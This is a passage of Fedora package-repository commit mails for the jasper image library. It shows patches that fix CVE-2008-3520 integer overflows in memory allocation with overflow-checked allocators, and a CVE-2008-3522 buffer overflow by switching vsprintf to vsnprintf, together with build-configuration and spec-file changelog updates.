 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -389,7 +389,7 @@ void jpc_qmfb_split_col(jpc_fix_t *a, in
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -460,7 +460,7 @@ void jpc_qmfb_split_colgrp(jpc_fix_t *a,
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -549,7 +549,7 @@ void jpc_qmfb_split_colres(jpc_fix_t *a,
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -633,7 +633,7 @@ void jpc_qmfb_join_row(jpc_fix_t *a, int
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -698,7 +698,7 @@ void jpc_qmfb_join_col(jpc_fix_t *a, int
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -766,7 +766,7 @@ void jpc_qmfb_join_colgrp(jpc_fix_t *a, 
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -852,7 +852,7 @@ void jpc_qmfb_join_colres(jpc_fix_t *a, 
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * numcols * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc3(bufsize, numcols, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t1enc.c jasper-1.900.1/src/libjasper/jpc/jpc_t1enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t1enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t1enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -219,7 +219,7 @@ int jpc_enc_enccblk(jpc_enc_t *enc, jas_
 
 	cblk->numpasses = (cblk->numbps > 0) ? (3 * cblk->numbps - 2) : 0;
 	if (cblk->numpasses > 0) {
-		cblk->passes = jas_malloc(cblk->numpasses * sizeof(jpc_enc_pass_t));
+		cblk->passes = jas_alloc2(cblk->numpasses, sizeof(jpc_enc_pass_t));
 		assert(cblk->passes);
 	} else {
 		cblk->passes = 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2cod.c jasper-1.900.1/src/libjasper/jpc/jpc_t2cod.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2cod.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2cod.c	2009-10-22 10:27:45.000000000 +0200
@@ -573,7 +573,7 @@ int jpc_pchglist_insert(jpc_pchglist_t *
 	}
 	if (pchglist->numpchgs >= pchglist->maxpchgs) {
 		newmaxpchgs = pchglist->maxpchgs + 128;
-		if (!(newpchgs = jas_realloc(pchglist->pchgs, newmaxpchgs * sizeof(jpc_pchg_t *)))) {
+		if (!(newpchgs = jas_realloc2(pchglist->pchgs, newmaxpchgs, sizeof(jpc_pchg_t *)))) {
 			return -1;
 		}
 		pchglist->maxpchgs = newmaxpchgs;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2dec.c jasper-1.900.1/src/libjasper/jpc/jpc_t2dec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2dec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -478,7 +478,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 		return 0;
 	}
 	pi->numcomps = dec->numcomps;
-	if (!(pi->picomps = jas_malloc(pi->numcomps * sizeof(jpc_picomp_t)))) {
+	if (!(pi->picomps = jas_alloc2(pi->numcomps, sizeof(jpc_picomp_t)))) {
 		jpc_pi_destroy(pi);
 		return 0;
 	}
@@ -490,7 +490,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 	for (compno = 0, tcomp = tile->tcomps, picomp = pi->picomps;
 	  compno < pi->numcomps; ++compno, ++tcomp, ++picomp) {
 		picomp->numrlvls = tcomp->numrlvls;
-		if (!(picomp->pirlvls = jas_malloc(picomp->numrlvls *
+		if (!(picomp->pirlvls = jas_alloc2(picomp->numrlvls,
 		  sizeof(jpc_pirlvl_t)))) {
 			jpc_pi_destroy(pi);
 			return 0;
@@ -503,7 +503,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 		  rlvlno < picomp->numrlvls; ++rlvlno, ++pirlvl, ++rlvl) {
 /* XXX sizeof(long) should be sizeof different type */
 			pirlvl->numprcs = rlvl->numprcs;
-			if (!(pirlvl->prclyrnos = jas_malloc(pirlvl->numprcs *
+			if (!(pirlvl->prclyrnos = jas_alloc2(pirlvl->numprcs,
 			  sizeof(long)))) {
 				jpc_pi_destroy(pi);
 				return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2enc.c jasper-1.900.1/src/libjasper/jpc/jpc_t2enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -565,7 +565,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 	}
 	pi->pktno = -1;
 	pi->numcomps = cp->numcmpts;
-	if (!(pi->picomps = jas_malloc(pi->numcomps * sizeof(jpc_picomp_t)))) {
+	if (!(pi->picomps = jas_alloc2(pi->numcomps, sizeof(jpc_picomp_t)))) {
 		jpc_pi_destroy(pi);
 		return 0;
 	}
@@ -577,7 +577,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 	for (compno = 0, tcomp = tile->tcmpts, picomp = pi->picomps;
 	  compno < pi->numcomps; ++compno, ++tcomp, ++picomp) {
 		picomp->numrlvls = tcomp->numrlvls;
-		if (!(picomp->pirlvls = jas_malloc(picomp->numrlvls *
+		if (!(picomp->pirlvls = jas_alloc2(picomp->numrlvls,
 		  sizeof(jpc_pirlvl_t)))) {
 			jpc_pi_destroy(pi);
 			return 0;
@@ -591,7 +591,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 /* XXX sizeof(long) should be sizeof different type */
 			pirlvl->numprcs = rlvl->numprcs;
 			if (rlvl->numprcs) {
-				if (!(pirlvl->prclyrnos = jas_malloc(pirlvl->numprcs *
+				if (!(pirlvl->prclyrnos = jas_alloc2(pirlvl->numprcs,
 				  sizeof(long)))) {
 					jpc_pi_destroy(pi);
 					return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_tagtree.c jasper-1.900.1/src/libjasper/jpc/jpc_tagtree.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_tagtree.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_tagtree.c	2009-10-22 10:27:45.000000000 +0200
@@ -125,7 +125,7 @@ jpc_tagtree_t *jpc_tagtree_create(int nu
 		++numlvls;
 	} while (n > 1);
 
-	if (!(tree->nodes_ = jas_malloc(tree->numnodes_ * sizeof(jpc_tagtreenode_t)))) {
+	if (!(tree->nodes_ = jas_alloc2(tree->numnodes_, sizeof(jpc_tagtreenode_t)))) {
 		return 0;
 	}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_util.c jasper-1.900.1/src/libjasper/jpc/jpc_util.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_util.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_util.c	2009-10-22 10:27:45.000000000 +0200
@@ -109,7 +109,7 @@ int jpc_atoaf(char *s, int *numvalues, d
 	}
 
 	if (n) {
-		if (!(vs = jas_malloc(n * sizeof(double)))) {
+		if (!(vs = jas_alloc2(n, sizeof(double)))) {
 			return -1;
 		}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/mif/mif_cod.c jasper-1.900.1/src/libjasper/mif/mif_cod.c
--- jasper-1.900.1.orig/src/libjasper/mif/mif_cod.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/mif/mif_cod.c	2009-10-22 10:27:45.000000000 +0200
@@ -438,8 +438,7 @@ static int mif_hdr_growcmpts(mif_hdr_t *
 	int cmptno;
 	mif_cmpt_t **newcmpts;
 	assert(maxcmpts >= hdr->numcmpts);
-	newcmpts = (!hdr->cmpts) ? jas_malloc(maxcmpts * sizeof(mif_cmpt_t *)) :
-	  jas_realloc(hdr->cmpts, maxcmpts * sizeof(mif_cmpt_t *));
+	newcmpts = jas_realloc2(hdr->cmpts, maxcmpts, sizeof(mif_cmpt_t *));
 	if (!newcmpts) {
 		return -1;
 	}

jasper-1.900.1-CVE-2008-3522.patch:
 jas_stream.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE jasper-1.900.1-CVE-2008-3522.patch ---
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522

diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_stream.c jasper-1.900.1/src/libjasper/base/jas_stream.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_stream.c	2009-10-22 10:27:45.000000000 +0200
+++ jasper-1.900.1/src/libjasper/base/jas_stream.c	2009-10-22 10:35:53.000000000 +0200
@@ -553,7 +553,7 @@ int jas_stream_printf(jas_stream_t *stre
 	int ret;
 
 	va_start(ap, fmt);
-	ret = vsprintf(buf, fmt, ap);
+	ret = vsnprintf(buf, sizeof buf, fmt, ap);
 	jas_stream_puts(stream, buf);
 	va_end(ap);
 	return ret;

jasper-1.701.0-GL-ac.patch:
 configure.ac |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: jasper-1.701.0-GL-ac.patch
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/F-10/jasper-1.701.0-GL-ac.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- jasper-1.701.0-GL-ac.patch	1 Mar 2006 18:16:10 -0000	1.1
+++ jasper-1.701.0-GL-ac.patch	26 Oct 2009 16:48:53 -0000	1.2
@@ -5,7 +5,7 @@
  if test $ENABLE_OPENGL = yes; then
  	if test $HAVE_OPENGL = no; then
 -		TMPLIBS="-lglut -lGL -lGLU $X_PRE_LIBS -lX11 -lXmu -lXi -lXext -lXt $X_EXTRA_LIBS $X_LIBS"
-+		TMPLIBS="-lglut"
++		TMPLIBS="-lglut -lGLU"
  		AC_CHECK_LIB(glut, glutInit, [HAVE_OPENGL=yes;
  		  OPENGL_LIBS=$TMPLIBS], HAVE_OPENGL=no, $TMPLIBS)
  	fi

jasper-1.701.0-GL.patch:
 configure |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: jasper-1.701.0-GL.patch
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/F-10/jasper-1.701.0-GL.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- jasper-1.701.0-GL.patch	1 Mar 2006 18:12:26 -0000	1.4
+++ jasper-1.701.0-GL.patch	26 Oct 2009 16:48:53 -0000	1.5
@@ -5,7 +5,7 @@
  if test $ENABLE_OPENGL = yes; then
  	if test $HAVE_OPENGL = no; then
 -		TMPLIBS="-lglut -lGL -lGLU $X_PRE_LIBS -lX11 -lXmu -lXi -lXext -lXt $X_EXTRA_LIBS $X_LIBS"
-+		TMPLIBS="-lglut"
++		TMPLIBS="-lglut -lGLU"
  		echo "$as_me:$LINENO: checking for glutInit in -lglut" >&5
  echo $ECHO_N "checking for glutInit in -lglut... $ECHO_C" >&6
  if test "${ac_cv_lib_glut_glutInit+set}" = set; then


Index: jasper.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/F-10/jasper.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- jasper.spec	25 Jan 2009 16:19:57 -0000	1.31
+++ jasper.spec	26 Oct 2009 16:48:53 -0000	1.32
@@ -7,7 +7,7 @@ Summary: Implementation of the JPEG-2000
 Name:    jasper
 Group:   System Environment/Libraries
 Version: 1.900.1
-Release: 9%{?dist}
+Release: 13%{?dist}
 
 License: JasPer
 URL:     http://www.ece.uvic.ca/~mdadams/jasper/
@@ -22,12 +22,17 @@ Patch2: jasper-1.701.0-GL-ac.patch
 Patch3: patch-libjasper-stepsizes-overflow.diff
 # borrowed from http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=469786 
 Patch4: jpc_dec.c.patch
-
+# OpenBSD hardening patches addressing couple of possible integer overflows
+# during the memory allocations
+# https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3520
+Patch5: jasper-1.900.1-CVE-2008-3520.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522
+Patch6: jasper-1.900.1-CVE-2008-3522.patch
 
 BuildRequires: automake 
 BuildRequires: libjpeg-devel
-# "freeglut-devel: Requires: libGL-devel libGLU-devel" (#179464)
-BuildRequires: freeglut-devel libGL-devel libGLU-devel
+BuildRequires: freeglut-devel 
+BuildRequires: libGLU-devel
 
 Requires: %{name}-libs = %{version}-%{release}
 
@@ -48,6 +53,7 @@ Requires: libjpeg-devel
 %package libs 
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
+Conflicts: jasper < 1.900.1-4
 %description libs 
 %{summary}.
 
@@ -66,6 +72,8 @@ Requires: %{name} = %{version}-%{release
 %patch1 -p1 -b .GL
 %patch3 -p1 -b .CVE-2007-2721
 %patch4 -p1 -b .jpc_dec_assertion
+%patch5 -p1 -b .CVE-2008-3520
+%patch6 -p1 -b .CVE-2008-3522
 
 
 %build
@@ -127,6 +135,20 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
+- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
+- CVE-2008-3522 jasper: possible buffer overflow in 
+  jas_stream_printf() (#461478)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.900.1-12
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sat Jul 18 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-11
+- FTBFS jasper-1.900.1-10.fc11 (#511743)
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.900.1-10
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Sun Jan 25 2009 Rex Dieter <rdieter at fedoraproject.org> 1.900.1-9
 - patch for "jpc_dec_tiledecode: Assertion `dec->numcomps == 3' failed)
   (#481284, #481291)



From rdieter at fedoraproject.org  Mon Oct 26 16:49:40 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 16:49:40 +0000 (UTC)
Subject: rpms/jasper/EL-5 jasper-1.900.1-CVE-2008-3520.patch, NONE,
	1.1 jasper-1.900.1-CVE-2008-3522.patch, NONE,
	1.1 jasper-1.701.0-GL-ac.patch, 1.1, 1.2 jasper-1.701.0-GL.patch,
	1.4, 1.5 jasper.spec, 1.21, 1.22
Message-ID: <20091026164940.3EF6111C0268@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/jasper/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32112

Modified Files:
	jasper-1.701.0-GL-ac.patch jasper-1.701.0-GL.patch jasper.spec 
Added Files:
	jasper-1.900.1-CVE-2008-3520.patch 
	jasper-1.900.1-CVE-2008-3522.patch 
Log Message:
* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
- CVE-2008-3522 jasper: possible buffer overflow in 
  jas_stream_printf() (#461478)


jasper-1.900.1-CVE-2008-3520.patch:
 base/jas_cm.c               |   11 ++++-----
 base/jas_icc.c              |   39 +++++++++++++++++------------------
 base/jas_image.c            |    5 +---
 base/jas_malloc.c           |   49 +++++++++++++++++++++++++++++++++++++-------
 base/jas_seq.c              |    6 ++---
 base/jas_stream.c           |    4 +--
 bmp/bmp_dec.c               |    2 -
 include/jasper/jas_malloc.h |    9 ++++++++
 jp2/jp2_cod.c               |   14 ++++++------
 jp2/jp2_dec.c               |    4 +--
 jp2/jp2_enc.c               |    4 +--
 jpc/jpc_cs.c                |   14 ++++++------
 jpc/jpc_dec.c               |   27 +++++++++++-------------
 jpc/jpc_enc.c               |   20 ++++++++---------
 jpc/jpc_mqdec.c             |    2 -
 jpc/jpc_mqenc.c             |    2 -
 jpc/jpc_qmfb.c              |   16 +++++++-------
 jpc/jpc_t1enc.c             |    2 -
 jpc/jpc_t2cod.c             |    2 -
 jpc/jpc_t2dec.c             |    6 ++---
 jpc/jpc_t2enc.c             |    6 ++---
 jpc/jpc_tagtree.c           |    2 -
 jpc/jpc_util.c              |    2 -
 mif/mif_cod.c               |    3 --
 24 files changed, 145 insertions(+), 106 deletions(-)

--- NEW FILE jasper-1.900.1-CVE-2008-3520.patch ---
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3520

OpenBSD jas_malloc hardening patches

diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_cm.c jasper-1.900.1/src/libjasper/base/jas_cm.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_cm.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_cm.c	2009-10-22 10:27:45.000000000 +0200
@@ -704,8 +704,7 @@ static int jas_cmpxformseq_resize(jas_cm
 {
 	jas_cmpxform_t **p;
 	assert(n >= pxformseq->numpxforms);
-	p = (!pxformseq->pxforms) ? jas_malloc(n * sizeof(jas_cmpxform_t *)) :
-	  jas_realloc(pxformseq->pxforms, n * sizeof(jas_cmpxform_t *));
+	p = jas_realloc2(pxformseq->pxforms, n, sizeof(jas_cmpxform_t *));
 	if (!p) {
 		return -1;
 	}
@@ -889,13 +888,13 @@ static int jas_cmshapmatlut_set(jas_cmsh
 	jas_cmshapmatlut_cleanup(lut);
 	if (curv->numents == 0) {
 		lut->size = 2;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		lut->data[0] = 0.0;
 		lut->data[1] = 1.0;
 	} else if (curv->numents == 1) {
 		lut->size = 256;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		gamma = curv->ents[0] / 256.0;
 		for (i = 0; i < lut->size; ++i) {
@@ -903,7 +902,7 @@ static int jas_cmshapmatlut_set(jas_cmsh
 		}
 	} else {
 		lut->size = curv->numents;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		for (i = 0; i < lut->size; ++i) {
 			lut->data[i] = curv->ents[i] / 65535.0;
@@ -953,7 +952,7 @@ static int jas_cmshapmatlut_invert(jas_c
 			return -1;
 		}
 	}
-	if (!(invlut->data = jas_malloc(n * sizeof(jas_cmreal_t))))
+	if (!(invlut->data = jas_alloc2(n, sizeof(jas_cmreal_t))))
 		return -1;
 	invlut->size = n;
 	for (i = 0; i < invlut->size; ++i) {
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_icc.c jasper-1.900.1/src/libjasper/base/jas_icc.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_icc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_icc.c	2009-10-22 10:27:45.000000000 +0200
@@ -373,7 +373,7 @@ int jas_iccprof_save(jas_iccprof_t *prof
 	jas_icctagtab_t *tagtab;
 
 	tagtab = &prof->tagtab;
-	if (!(tagtab->ents = jas_malloc(prof->attrtab->numattrs *
+	if (!(tagtab->ents = jas_alloc2(prof->attrtab->numattrs,
 	  sizeof(jas_icctagtabent_t))))
 		goto error;
 	tagtab->numents = prof->attrtab->numattrs;
@@ -522,7 +522,7 @@ static int jas_iccprof_gettagtab(jas_str
 	}
 	if (jas_iccgetuint32(in, &tagtab->numents))
 		goto error;
-	if (!(tagtab->ents = jas_malloc(tagtab->numents *
+	if (!(tagtab->ents = jas_alloc2(tagtab->numents,
 	  sizeof(jas_icctagtabent_t))))
 		goto error;
 	tagtabent = tagtab->ents;
@@ -743,8 +743,7 @@ static int jas_iccattrtab_resize(jas_icc
 {
 	jas_iccattr_t *newattrs;
 	assert(maxents >= tab->numattrs);
-	newattrs = tab->attrs ? jas_realloc(tab->attrs, maxents *
-	  sizeof(jas_iccattr_t)) : jas_malloc(maxents * sizeof(jas_iccattr_t));
+	newattrs = jas_realloc2(tab->attrs, maxents, sizeof(jas_iccattr_t));
 	if (!newattrs)
 		return -1;
 	tab->attrs = newattrs;
@@ -999,7 +998,7 @@ static int jas_icccurv_input(jas_iccattr
 
 	if (jas_iccgetuint32(in, &curv->numents))
 		goto error;
-	if (!(curv->ents = jas_malloc(curv->numents * sizeof(jas_iccuint16_t))))
+	if (!(curv->ents = jas_alloc2(curv->numents, sizeof(jas_iccuint16_t))))
 		goto error;
 	for (i = 0; i < curv->numents; ++i) {
 		if (jas_iccgetuint16(in, &curv->ents[i]))
@@ -1100,7 +1099,7 @@ static int jas_icctxtdesc_input(jas_icca
 	if (jas_iccgetuint32(in, &txtdesc->uclangcode) ||
 	  jas_iccgetuint32(in, &txtdesc->uclen))
 		goto error;
-	if (!(txtdesc->ucdata = jas_malloc(txtdesc->uclen * 2)))
+	if (!(txtdesc->ucdata = jas_alloc2(txtdesc->uclen, 2)))
 		goto error;
 	if (jas_stream_read(in, txtdesc->ucdata, txtdesc->uclen * 2) !=
 	  JAS_CAST(int, txtdesc->uclen * 2))
@@ -1292,17 +1291,17 @@ static int jas_icclut8_input(jas_iccattr
 	  jas_iccgetuint16(in, &lut8->numouttabents))
 		goto error;
 	clutsize = jas_iccpowi(lut8->clutlen, lut8->numinchans) * lut8->numoutchans;
-	if (!(lut8->clut = jas_malloc(clutsize * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->intabsbuf = jas_malloc(lut8->numinchans *
-	  lut8->numintabents * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->intabs = jas_malloc(lut8->numinchans *
+	if (!(lut8->clut = jas_alloc2(clutsize, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->intabsbuf = jas_alloc3(lut8->numinchans,
+	  lut8->numintabents, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->intabs = jas_alloc2(lut8->numinchans,
 	  sizeof(jas_iccuint8_t *))))
 		goto error;
 	for (i = 0; i < lut8->numinchans; ++i)
 		lut8->intabs[i] = &lut8->intabsbuf[i * lut8->numintabents];
-	if (!(lut8->outtabsbuf = jas_malloc(lut8->numoutchans *
-	  lut8->numouttabents * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->outtabs = jas_malloc(lut8->numoutchans *
+	if (!(lut8->outtabsbuf = jas_alloc3(lut8->numoutchans,
+	  lut8->numouttabents, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->outtabs = jas_alloc2(lut8->numoutchans,
 	  sizeof(jas_iccuint8_t *))))
 		goto error;
 	for (i = 0; i < lut8->numoutchans; ++i)
@@ -1461,17 +1460,17 @@ static int jas_icclut16_input(jas_iccatt
 	  jas_iccgetuint16(in, &lut16->numouttabents))
 		goto error;
 	clutsize = jas_iccpowi(lut16->clutlen, lut16->numinchans) * lut16->numoutchans;
-	if (!(lut16->clut = jas_malloc(clutsize * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->intabsbuf = jas_malloc(lut16->numinchans *
-	  lut16->numintabents * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->intabs = jas_malloc(lut16->numinchans *
+	if (!(lut16->clut = jas_alloc2(clutsize, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->intabsbuf = jas_alloc3(lut16->numinchans,
+	  lut16->numintabents, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->intabs = jas_alloc2(lut16->numinchans,
 	  sizeof(jas_iccuint16_t *))))
 		goto error;
 	for (i = 0; i < lut16->numinchans; ++i)
 		lut16->intabs[i] = &lut16->intabsbuf[i * lut16->numintabents];
-	if (!(lut16->outtabsbuf = jas_malloc(lut16->numoutchans *
-	  lut16->numouttabents * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->outtabs = jas_malloc(lut16->numoutchans *
+	if (!(lut16->outtabsbuf = jas_alloc3(lut16->numoutchans,
+	  lut16->numouttabents, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->outtabs = jas_alloc2(lut16->numoutchans,
 	  sizeof(jas_iccuint16_t *))))
 		goto error;
 	for (i = 0; i < lut16->numoutchans; ++i)
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_image.c jasper-1.900.1/src/libjasper/base/jas_image.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_image.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_image.c	2009-10-22 10:27:45.000000000 +0200
@@ -142,7 +142,7 @@ jas_image_t *jas_image_create(int numcmp
 	image->inmem_ = true;
 
 	/* Allocate memory for the per-component information. */
-	if (!(image->cmpts_ = jas_malloc(image->maxcmpts_ *
+	if (!(image->cmpts_ = jas_alloc2(image->maxcmpts_,
 	  sizeof(jas_image_cmpt_t *)))) {
 		jas_image_destroy(image);
 		return 0;
@@ -774,8 +774,7 @@ static int jas_image_growcmpts(jas_image
 	jas_image_cmpt_t **newcmpts;
 	int cmptno;
 
-	newcmpts = (!image->cmpts_) ? jas_malloc(maxcmpts * sizeof(jas_image_cmpt_t *)) :
-	  jas_realloc(image->cmpts_, maxcmpts * sizeof(jas_image_cmpt_t *));
+	newcmpts = jas_realloc2(image->cmpts_, maxcmpts, sizeof(jas_image_cmpt_t *));
 	if (!newcmpts) {
 		return -1;
 	}
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_malloc.c jasper-1.900.1/src/libjasper/base/jas_malloc.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_malloc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_malloc.c	2009-10-22 10:27:45.000000000 +0200
@@ -76,6 +76,9 @@
 
 /* We need the prototype for memset. */
 #include <string.h>
+#include <limits.h>
+#include <errno.h>
+#include <stdint.h>
 
 #include "jasper/jas_malloc.h"
 
@@ -113,18 +116,50 @@ void jas_free(void *ptr)
 
 void *jas_realloc(void *ptr, size_t size)
 {
-	return realloc(ptr, size);
+	return ptr ? realloc(ptr, size) : malloc(size);
 }
 
-void *jas_calloc(size_t nmemb, size_t size)
+void *jas_realloc2(void *ptr, size_t nmemb, size_t size)
+{
+	if (!ptr)
+		return jas_alloc2(nmemb, size);
+	if (nmemb && SIZE_MAX / nmemb < size) {
+		errno = ENOMEM;
+		return NULL;
+	}
+	return jas_realloc(ptr, nmemb * size);
+
+}
+
+void *jas_alloc2(size_t nmemb, size_t size)
+{
+	if (nmemb && SIZE_MAX / nmemb < size) {
+		errno = ENOMEM;
+		return NULL;
+	}
+
+	return jas_malloc(nmemb * size);
+}
+
+void *jas_alloc3(size_t a, size_t b, size_t c)
 {
-	void *ptr;
 	size_t n;
-	n = nmemb * size;
-	if (!(ptr = jas_malloc(n * sizeof(char)))) {
-		return 0;
+
+	if (a && SIZE_MAX / a < b) {
